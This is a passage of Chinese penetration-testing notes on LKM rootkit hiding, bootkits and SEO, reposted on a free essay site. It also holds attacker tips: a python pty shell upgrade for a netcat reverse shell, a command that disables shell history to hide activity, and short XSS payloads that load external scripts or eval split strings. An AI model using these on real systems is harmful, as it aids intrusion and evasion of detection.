渗透笔记整理(19)

4. LKM隐藏技术：

LKM就是可装载内核模块(Loadable Kernel Modules)。这些模块本来是Linux系统用于扩展其功能的。

木马最大的特性就是隐蔽性，不能轻易让人察觉，所以隐藏木马相关信息是关键的因素。对于Linux操作系统来说，主要有静态隐藏和动态隐藏两个标准。

由于Linux本身的安全性，想利用外壳程序隐藏木马文件和进程不可能实现，所以就借要通过修改Linux内核的系统调用来隐藏木马相关信息，这就是LKM技术。

5. Bootkit：Bootkit是更高级的Rootkit,该概念最早于2005年被eEye Digital公司在他们

“BootRoot”项目中提及。它主要利用其内核准入和开机过程的隐身技术，当在功能上并无异于Rootkit。他们的不同 主要表现在获取准入的方式上。传统的rootkit利用系统启动时提升权限。而Bootkit是被安置在外设的主引导扇区和驻留在整个系统的启动过程。

Bootkit的引导扇区代码总是在ROM BIOS执行后主引导记录被载入前劫持系统启动程序。一旦被载入到内存，代码便执行中断指令，也就是俗称的HOOK挂钩。它挂接到INT 13指示后续扇区读取其信息。这个过程完成后，Bootkit试图改变引导过程的结构和操作逻辑流程。

6. 用nst的反弹后门连上nc后不能su交互，报错如下：standard in must be a tty

解决方法：

python -c ’import pty; pty.spawn(“/bin/sh”)’

得到shell就可以su进行交互了。

7. history不记录：

unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG; export HISTFILE=/dev/null; export HISTSIZE=0; export HISTFILESIZE=0

8. 自己尝试最短的引入外部脚本的xss payload(28个字符):

<script src=/pj

注:是短域名转换

9. 有文章称<script src=//xxx.xxx/a.js></script>也可以插入，但是实测证明，不是每个浏览

器都支持没有http：的插入。要有效可靠的插入，还是参考上一条的插入方法。

10. 实在要短得不行的，那就分开来插吧：

<script>var a=’alert’</script>

<script>var b=’(“xss”)’</script>

<script>var c=a+b </script>

<script> eval(c) </script>

11. C类IP地址：C类数字相同的IP地址，通常是同一台服务器或是处于同一网络上的服

务器。所以如果两 个网站IP地址前三个数字相同，如198.197.196.195和198.197.196.194，搜索引擎会认为这两个网站之间是有一定关系的，很可 能在同一架服务器上。

12. URL静态化：通过URL重写技术，将动态URL转化为静态URL。在LAMP主机上，

URL重写通常是通过mod_rewrite模块；在windows主机上，通常是通过ISAPI Rewrite

百度搜索“77cn”或“免费范文网”即可找到本站免费阅读全部范文。收藏本站方便下次阅读，免费范文网，提供经典小说教育文库渗透笔记整理(19)在线全文阅读。